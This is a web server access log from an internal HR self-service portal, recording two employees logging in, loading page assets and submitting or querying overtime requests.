192.168.11.68 - - [05/Sep/2025:08:34:58 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826
192.168.11.68 - - [05/Sep/2025:08:34:58 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:34:59 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.68 - - [05/Sep/2025:08:34:59 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:34:59 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:34:59 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.11.68 - - [05/Sep/2025:08:34:59 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.68 - - [05/Sep/2025:08:34:59 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:34:59 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:34:59 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.68 - - [05/Sep/2025:08:34:59 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:34:59 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.68 - - [05/Sep/2025:08:34:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:34:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.68 - - [05/Sep/2025:08:35:01 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:35:01 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.68 - - [05/Sep/2025:08:35:01 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.68 - - [05/Sep/2025:08:35:01 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:35:01 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:35:01 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.68 - - [05/Sep/2025:08:35:07 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:35:07 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.68 - - [05/Sep/2025:08:35:08 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.11.68 - - [05/Sep/2025:08:35:08 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:35:08 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.11.68 - - [05/Sep/2025:08:35:08 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:35:08 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.11.68 - - [05/Sep/2025:08:35:08 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:35:08 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.11.68 - - [05/Sep/2025:08:35:08 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:35:08 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:35:08 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.68 - - [05/Sep/2025:08:35:08 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:35:08 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.11.68 - - [05/Sep/2025:08:35:08 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:35:08 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.11.68 - - [05/Sep/2025:08:35:08 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.11.68 - - [05/Sep/2025:08:35:08 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:35:08 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.68 - - [05/Sep/2025:08:35:08 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:35:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.68 - - [05/Sep/2025:08:35:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:35:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:35:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.68 - - [05/Sep/2025:08:35:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:35:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.68 - - [05/Sep/2025:08:35:10 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:35:10 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 -
192.168.11.68 - - [05/Sep/2025:08:35:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:35:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.68 - - [05/Sep/2025:08:35:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.11.68 - - [05/Sep/2025:08:35:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:35:37 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.68 - - [05/Sep/2025:08:35:37 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:35:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.68 - - [05/Sep/2025:08:35:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:35:37 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.11.68 - - [05/Sep/2025:08:35:37 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.100 - - [05/Sep/2025:08:36:39 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:36:39 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826
192.168.12.100 - - [05/Sep/2025:08:36:42 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:36:42 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.100 - - [05/Sep/2025:08:36:47 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.12.100 - - [05/Sep/2025:08:36:47 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:36:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:36:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.12.100 - - [05/Sep/2025:08:36:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457
192.168.12.100 - - [05/Sep/2025:08:36:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:36:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 167504 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:36:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 167504
192.168.12.100 - - [05/Sep/2025:08:37:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:37:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800
192.168.12.100 - - [05/Sep/2025:08:37:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:37:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:37:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:37:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:37:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:37:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:37:24 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:37:24 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:37:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:37:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.12.100 - - [05/Sep/2025:08:37:27 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112
192.168.12.100 - - [05/Sep/2025:08:37:27 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:37:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:37:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800
192.168.12.100 - - [05/Sep/2025:08:37:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:37:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:37:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:37:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:37:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:37:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:37:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:37:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:37:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:37:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.12.100 - - [05/Sep/2025:08:37:40 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112
192.168.12.100 - - [05/Sep/2025:08:37:40 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:37:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:37:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800
192.168.12.100 - - [05/Sep/2025:08:37:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:37:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:37:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:37:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:37:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
